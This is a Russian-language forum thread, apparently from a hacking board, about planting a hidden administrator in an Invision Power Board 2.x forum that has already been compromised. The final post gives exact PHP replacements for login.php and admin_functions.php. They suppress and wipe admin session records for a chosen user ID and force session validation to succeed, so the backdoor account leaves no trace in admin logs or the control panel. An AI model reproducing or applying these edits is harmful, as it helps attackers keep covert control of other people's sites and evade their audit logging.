PDA

Просмотр полной версии : Добавляем админа в Инвижин.


Ben
13.02.2006, 16:55
Форум: Invision Power Board версии 2++. Форум, сайт взломаны. Лично я не большой спец по инвижену, поэтому пришел к вам с тупым вопросом.

Допустим, есть юзер, у которого по ibf_members id=111.

Задача: подправить скрипты форума таким образом, чтобы юзер c id=111 имел полные админские полномочия, но при этом без просмотра скриптов этого никак нельзя было б увидеть. То есть, ни добавления в группы админов, ни записей в таблицы ibf_admin_sessions или ibf_admin_logs, ни отображения в Admin_CP.

Подскажите, пожалуйста, что править. Спасибо за внимание и ответы.

podkashey
13.02.2006, 17:34
Поищи в поиске. Там все четко было расписано. На сколько я помню - надо в двух местах if подправить.

Ben
13.02.2006, 19:23
Если ты об этой теме:
http://forum.antichat.ru/threadnav11615-1-10.html

то там решается чуть другая задача. Мне нужно, чтобы в ibbadmin_sessions и в ibbadmin_logs ничего не записывалось.

Ben
13.02.2006, 20:56
Разобрался. Если кому нужно, то после того, как вы наложили на юзера маску админа, править надо следующее:

1) В файле source/action_admin/login.php:
СТРОКУ
---
$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
---
ЗАМЕНИТЬ НА
---
if ($mem['id'] == 111) {$this->ipsclass->DB->query("DELETE FROM ibf_admin_sessions WHERE 1");} else {

$this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");

}

---
где 111 - id юзера.

2) В файле source/lib/admin_functions.php
СТРОКИ
---
$this->ipsclass->admin_session['_session_validated'] = 0;
$this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
---
ЗАМЕНИТЬ НА
---
$this->ipsclass->admin_session['_session_validated'] = 1;
$this->ipsclass->admin_session['_session_message'] = "Could not retrieve session record";
---

После этого информация о вашем "черном кардинале" не будет сохраняться в таблицу ibf_admin_sessions, да и записи в ibf_admin_logs тоже будут вестись без идентификации.